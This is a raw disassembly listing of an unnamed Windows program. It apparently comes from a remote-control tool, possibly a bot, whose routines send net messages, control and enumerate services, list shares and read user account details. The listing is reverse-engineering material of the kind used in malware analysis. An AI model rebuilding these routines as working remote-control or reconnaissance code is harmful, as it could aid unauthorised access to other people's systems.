cmp [ebp+var_84], 2
jnz short loc_418AC4
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4CB954
push edi
push eax
call dword_4CB964
test eax, eax
jz short loc_418AB6
push [ebp+arg_10]
push offset dword_4394FC
loc_418A8F: ; CODE XREF: sub_418A2E+94j
lea eax, [ebp+var_294]
push eax
call sub_41C266
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 20h
jmp short loc_418AEE
; ---------------------------------------------------------------------------
loc_418AB6: ; CODE XREF: sub_418A2E+57j
nop
call near ptr 26C0CC8h
push eax
push offset unk_4394D4
jmp short loc_418A8F
; ---------------------------------------------------------------------------
loc_418AC4: ; CODE XREF: sub_418A2E+3Fj
lea eax, [ebp+var_294]
push offset unk_4394A4
push eax
call sub_41C266
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 1Ch
loc_418AEE: ; CODE XREF: sub_418A2E+86j
pop edi
leave
retn
sub_418A2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418AF1 proc near ; CODE XREF: sub_401ACD+551Cp
var_1C0 = byte ptr -1C0h
var_15C = byte ptr -15Ch
var_F8 = byte ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
nop
call near ptr 27105EAh
cmp [ebp+var_90], 4
jnz short loc_418B47
cmp [ebp+var_8C], 0
jnz short loc_418B30
push 1
pop eax
cmp [ebp+var_84], eax
jnz short loc_418B47
leave
retn
; ---------------------------------------------------------------------------
loc_418B30: ; CODE XREF: sub_418AF1+30j
cmp [ebp+var_8C], 0Ah
jz short loc_418B42
cmp [ebp+var_8C], 5Ah
jnz short loc_418B47
loc_418B42: ; CODE XREF: sub_418AF1+46j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_418B47: ; CODE XREF: sub_418AF1+27j
; sub_418AF1+3Bj ...
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
nop
call near ptr 26E0C7Eh
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
call near ptr 26F0000h
nop
push 32h
mov edi, eax
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_41E0D4
push 32h
lea eax, [ebp+var_15C]
push [ebp+arg_4]
push eax
call sub_41E0D4
push 32h
lea eax, [ebp+var_F8]
push [ebp+arg_8]
push eax
call sub_41E0D4
lea eax, [ebp+var_F8]
push eax
call sub_41E0B7
shl eax, 1
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C0]
push eax
push 0
call edi
add esp, 3Ch
mov edi, eax
push esi
nop
call near ptr 27E0000h
mov eax, edi
pop edi
pop esi
leave
retn
sub_418AF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418BD1 proc near ; CODE XREF: sub_40111D+F7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
nop
call near ptr 26D0CBDh
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_4276E0
call sub_41D174
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_418BD1 endp
; =============== S U B R O U T I N E =======================================
sub_418C0E proc near ; CODE XREF: sub_401ACD:loc_406021p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_418C66
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_439520[esi]
push edi
push eax
call sub_418C88
add esp, 14h
test eax, eax
jnz short loc_418C56
push edi
push off_43951C[esi]
push offset unk_439630
loc_418C46: ; CODE XREF: sub_418C0E+56j
mov esi, offset dword_4DBA40
push esi
call sub_41C266
add esp, 10h
jmp short loc_418C83
; ---------------------------------------------------------------------------
loc_418C56: ; CODE XREF: sub_418C0E+2Aj
push eax
call sub_418D2A
pop ecx
push eax
push edi
push offset unk_439604
jmp short loc_418C46
; ---------------------------------------------------------------------------
loc_418C66: ; CODE XREF: sub_418C0E+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4DBA40
push off_439518[eax*4]
push offset unk_4395E0
push esi
call sub_41C266
add esp, 0Ch
loc_418C83: ; CODE XREF: sub_418C0E+46j
mov eax, esi
pop edi
pop esi
retn
sub_418C0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C88 proc near ; CODE XREF: sub_418C0E+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4CB9C8
mov edi, eax
cmp edi, ebx
jnz short loc_418CAF
nop
call near ptr 26C0CC8h
mov ebx, eax
jmp short loc_418D24
; ---------------------------------------------------------------------------
loc_418CAF: ; CODE XREF: sub_418C88+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4CB8B0
mov esi, eax
cmp esi, ebx
jnz short loc_418CCF
nop
call near ptr 26C0CC8h
mov ebx, eax
jmp short loc_418D1C
; ---------------------------------------------------------------------------
loc_418CCF: ; CODE XREF: sub_418C88+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_418D02
cmp eax, 3
jz short loc_418CF3
jle short loc_418D15
cmp eax, 6
jg short loc_418D15
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4CB91C
jmp short loc_418D09
; ---------------------------------------------------------------------------
loc_418CF3: ; CODE XREF: sub_418C88+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4CB8B8
jmp short loc_418D09
; ---------------------------------------------------------------------------
loc_418D02: ; CODE XREF: sub_418C88+4Dj
push esi
call dword_4CB920
loc_418D09: ; CODE XREF: sub_418C88+69j
; sub_418C88+78j
test eax, eax
jnz short loc_418D15
call near ptr 26C0CC8h
nop
mov ebx, eax
loc_418D15: ; CODE XREF: sub_418C88+54j
; sub_418C88+59j ...
push esi
call dword_4CB8CC
loc_418D1C: ; CODE XREF: sub_418C88+45j
push edi
call dword_4CB8CC
pop esi
loc_418D24: ; CODE XREF: sub_418C88+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_418C88 endp
; =============== S U B R O U T I N E =======================================
sub_418D2A proc near ; CODE XREF: sub_418C0E+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_418DDF
jz loc_418DD8
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_418DA2
jz short loc_418D98
mov ecx, eax
sub ecx, 3
jz short loc_418D8E
dec ecx
dec ecx
jz short loc_418D84
dec ecx
jz short loc_418D7A
sub ecx, 51h
jz short loc_418D70
sub ecx, 24h
jnz loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D70: ; CODE XREF: sub_418D2A+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D7A: ; CODE XREF: sub_418D2A+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D84: ; CODE XREF: sub_418D2A+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D8E: ; CODE XREF: sub_418D2A+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D98: ; CODE XREF: sub_418D2A+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418DA2: ; CODE XREF: sub_418D2A+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_418DD1
dec ecx
jz short loc_418DCA
dec ecx
jz short loc_418DC3
dec ecx
jnz loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418DC3: ; CODE XREF: sub_418D2A+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DCA: ; CODE XREF: sub_418D2A+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DD1: ; CODE XREF: sub_418D2A+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DD8: ; CODE XREF: sub_418D2A+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DDF: ; CODE XREF: sub_418D2A+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
jz short loc_418E42
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_418E96[ecx]
jmp off_418E6E[ecx*4] ; switch jump
loc_418E03: ; DATA XREF: ___:off_418E6Eo
push offset aTheSpecifiedDa ; jumptable 00418DFC case 7
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E0A: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheServiceDepe ; jumptable 00418DFC case 17
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E11: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheServiceDe_0 ; jumptable 00418DFC case 10
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E18: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheServiceHasB ; jumptable 00418DFC case 0
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E1F: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheSpecified_0 ; jumptable 00418DFC case 2
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E26: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheServiceCoul ; jumptable 00418DFC case 11
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E2D: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheServiceHa_0 ; jumptable 00418DFC case 14
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E34: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheRequested_1 ; jumptable 00418DFC case 3
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E3B: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheServiceHasN ; jumptable 00418DFC case 4
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E42: ; CODE XREF: sub_418D2A+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_418E47: ; CODE XREF: sub_418D2A+41j
; sub_418D2A+4Bj ...
push offset dword_4DB380
call sub_41C266
pop ecx
pop ecx
jmp short loc_418E68
; ---------------------------------------------------------------------------
loc_418E55: ; CODE XREF: sub_418D2A+36j
; sub_418D2A+89j ...
push eax ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4DB380
call sub_41C266
add esp, 0Ch
loc_418E68: ; CODE XREF: sub_418D2A+129j
mov eax, offset dword_4DB380
retn
sub_418D2A endp
; ---------------------------------------------------------------------------
off_418E6E dd offset loc_418E18 ; DATA XREF: sub_418D2A+D2r
dd offset loc_418E1F ; jump table for switch statement
dd offset loc_418E34
dd offset loc_418E3B
dd offset loc_418E03
dd offset loc_418E11
dd offset loc_418E26
dd offset loc_418E2D
dd offset loc_418E0A
dd offset loc_418E55
byte_418E96 db 0, 9, 1, 2 ; DATA XREF: sub_418D2A+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418EA8 proc near ; CODE XREF: sub_401ACD+44D6p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4CB9C8
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_418EE0: ; CODE XREF: sub_418EA8+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4CB994
test eax, eax
jnz short loc_418F1A
nop
call near ptr 26C0CC8h
cmp eax, 0EAh
jnz loc_418FCE
loc_418F1A: ; CODE XREF: sub_418EA8+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_418FC5
lea esi, [ebp+var_188]
loc_418F2B: ; CODE XREF: sub_418EA8+117j
mov eax, [esi+8]
dec eax
jz short loc_418F74
dec eax
jz short loc_418F6D
dec eax
jz short loc_418F66
dec eax
jz short loc_418F5F
dec eax
jz short loc_418F58
dec eax
jz short loc_418F51
dec eax
jz short loc_418F4A
push offset aUnknown_0 ; " Unknown"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F4A: ; CODE XREF: sub_418EA8+99j
push offset aPaused_0 ; " Paused"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F51: ; CODE XREF: sub_418EA8+96j
push offset aPausing ; " Pausing"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F58: ; CODE XREF: sub_418EA8+93j
push offset aContinuing ; " Continuing"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F5F: ; CODE XREF: sub_418EA8+90j
push offset aRunning ; " Running"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F66: ; CODE XREF: sub_418EA8+8Dj
push offset aStoping ; " Stoping"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F6D: ; CODE XREF: sub_418EA8+8Aj
push offset aStarting ; " Starting"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F74: ; CODE XREF: sub_418EA8+87j
push offset aStopped ; " Stopped"
loc_418F79: ; CODE XREF: sub_418EA8+A0j
; sub_418EA8+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_418F2B
loc_418FC5: ; CODE XREF: sub_418EA8+77j
cmp [ebp+var_8], ebx
jnz loc_418EE0
loc_418FCE: ; CODE XREF: sub_418EA8+6Cj
push [ebp+var_C]
call dword_4CB8CC
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_418EA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418FE5 proc near ; CODE XREF: sub_401ACD:loc_406064p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_41907F
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_41900E
dec eax
jnz short loc_41905F
push edi
push 0
call sub_4191B8
pop ecx
pop ecx
jmp short loc_41905B
; ---------------------------------------------------------------------------
loc_41900E: ; CODE XREF: sub_418FE5+18j
cmp [ebp+arg_8], 0
jnz short loc_41904D
push 24h
push edi
call sub_41C990
pop ecx
test eax, eax
pop ecx
jnz short loc_41904D
push 57h
pop eax
loc_419025: ; CODE XREF: sub_418FE5+78j
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DB63C
push off_439518[eax*4]
push offset unk_439BC4
push esi
call sub_41C266
add esp, 14h
jmp short loc_41909F
; ---------------------------------------------------------------------------
loc_41904D: ; CODE XREF: sub_418FE5+2Dj
; sub_418FE5+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_41910C
add esp, 0Ch
loc_41905B: ; CODE XREF: sub_418FE5+27j
test eax, eax
jnz short loc_419025
loc_41905F: ; CODE XREF: sub_418FE5+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DB63C
push off_43951C[eax*4]
push offset dword_439BA8
push esi
call sub_41C266
add esp, 10h
jmp short loc_41909F
; ---------------------------------------------------------------------------
loc_41907F: ; CODE XREF: sub_418FE5+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DB63C
lea eax, [eax+eax*2]
push off_439518[eax*4]
push offset unk_439B84
push esi
call sub_41C266
add esp, 0Ch
loc_41909F: ; CODE XREF: sub_418FE5+66j
; sub_418FE5+98j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_418FE5 endp
; =============== S U B R O U T I N E =======================================
sub_4190A5 proc near ; CODE XREF: sub_41A3C6+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_4190B2
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4190B2: ; CODE XREF: sub_4190A5+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_427188
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi
test byte_4DB83C, 1
mov ebp, eax
jnz short loc_4190EF
or byte_4DB83C, 1
lea eax, [ebp+1]
push eax
call sub_41D9A5
pop ecx
mov dword_4DB5DC, eax
loc_4190EF: ; CODE XREF: sub_4190A5+32j
push esi
push esi
push ebp
push dword_4DB5DC
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi
mov eax, dword_4DB5DC
pop edi
pop ebp
pop ebx
pop esi
retn
sub_4190A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41910C proc near ; CODE XREF: sub_418FE5+6Ep
; sub_41A6EA+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_419177
push [ebp+arg_4]
mov edi, eax
call sub_419177
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_41C990
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_419177
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4CB8C8
pop edi
leave
retn
sub_41910C endp
; =============== S U B R O U T I N E =======================================
sub_419177 proc near ; CODE XREF: sub_41910C+Ap
; sub_41910C+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_419184
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419184: ; CODE XREF: sub_419177+9j
push ebx
push esi
mov esi, dword_4270E8
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41D9A5
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_419177 endp
; =============== S U B R O U T I N E =======================================
sub_4191B8 proc near ; CODE XREF: sub_418FE5+20p
; sub_41A3C6+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_419177
push [esp+8+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4CB8A0
pop esi
retn
sub_4191B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4191DB proc near ; CODE XREF: sub_401ACD+45AEp
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_419177
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 18h
loc_419214: ; CODE XREF: sub_4191DB+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4CB918
mov ebx, eax
cmp ebx, esi
jz short loc_419277
cmp ebx, 0EAh
jz short loc_419277
push ebx
push ebx
call sub_4199AC
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_439C10
push eax
call sub_41C266
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 24h
jmp short loc_4192E4
; ---------------------------------------------------------------------------
loc_419277: ; CODE XREF: sub_4191DB+5Dj
; sub_4191DB+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_4192DB
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_419285: ; CODE XREF: sub_4191DB+FCj
push dword ptr [esi+10h]
call dword_4CB8BC
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_41929C
mov eax, offset aNo ; "No"
loc_41929C: ; CODE XREF: sub_4191DB+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_419285
xor esi, esi
loc_4192DB: ; CODE XREF: sub_4191DB+A2j
push [ebp+var_4]
call dword_4CBA64
loc_4192E4: ; CODE XREF: sub_4191DB+9Aj
cmp ebx, 0EAh
jz loc_419214
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4191DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4192FC proc near ; CODE XREF: sub_401ACD:loc_4060EDp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_4193A1
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_41933E
dec eax
jz short loc_419333
dec eax
jnz short loc_419359
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_419443
add esp, 14h
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_419333: ; CODE XREF: sub_4192FC+1Dj
push ebx
push edi
call sub_419422
pop ecx
pop ecx
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_41933E: ; CODE XREF: sub_4192FC+1Aj
cmp [ebp+arg_8], edi
jz short loc_419352
push [ebp+arg_8]
push ebx
push edi
call sub_4193C8
add esp, 0Ch
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_419352: ; CODE XREF: sub_4192FC+45j
push 57h
pop eax
loc_419355: ; CODE XREF: sub_4192FC+35j
; sub_4192FC+40j ...
cmp eax, edi
jnz short loc_419379
loc_419359: ; CODE XREF: sub_4192FC+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DB840
push off_43951C[eax*4]
push offset unk_439CC8
push esi
call sub_41C266
add esp, 10h
jmp short loc_4193C1
; ---------------------------------------------------------------------------
loc_419379: ; CODE XREF: sub_4192FC+5Bj
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DB840
push off_439518[eax*4]
push offset unk_439C98
push esi
call sub_41C266
add esp, 14h
jmp short loc_4193C1
; ---------------------------------------------------------------------------
loc_4193A1: ; CODE XREF: sub_4192FC+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DB840
lea eax, [eax+eax*2]
push off_439518[eax*4]
push offset unk_439C70
push esi
call sub_41C266
add esp, 0Ch
loc_4193C1: ; CODE XREF: sub_4192FC+7Bj
; sub_4192FC+A3j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4192FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4193C8 proc near ; CODE XREF: sub_4192FC+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_419177
push [ebp+arg_4]
mov edi, eax
call sub_419177
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_419177
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4CB8AC
pop edi
leave
retn
sub_4193C8 endp
; =============== S U B R O U T I N E =======================================
sub_419422 proc near ; CODE XREF: sub_4192FC+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_419177
push [esp+8+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
push eax
push esi
call dword_4CB89C
pop esi
retn
sub_419422 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419443 proc near ; CODE XREF: sub_4192FC+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_419177
push [ebp+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4CBA2C
test eax, eax
mov [ebp+arg_0], eax
jnz loc_4197EB
mov eax, [ebp+var_4]
test eax, eax
jz loc_419826
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41C266
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
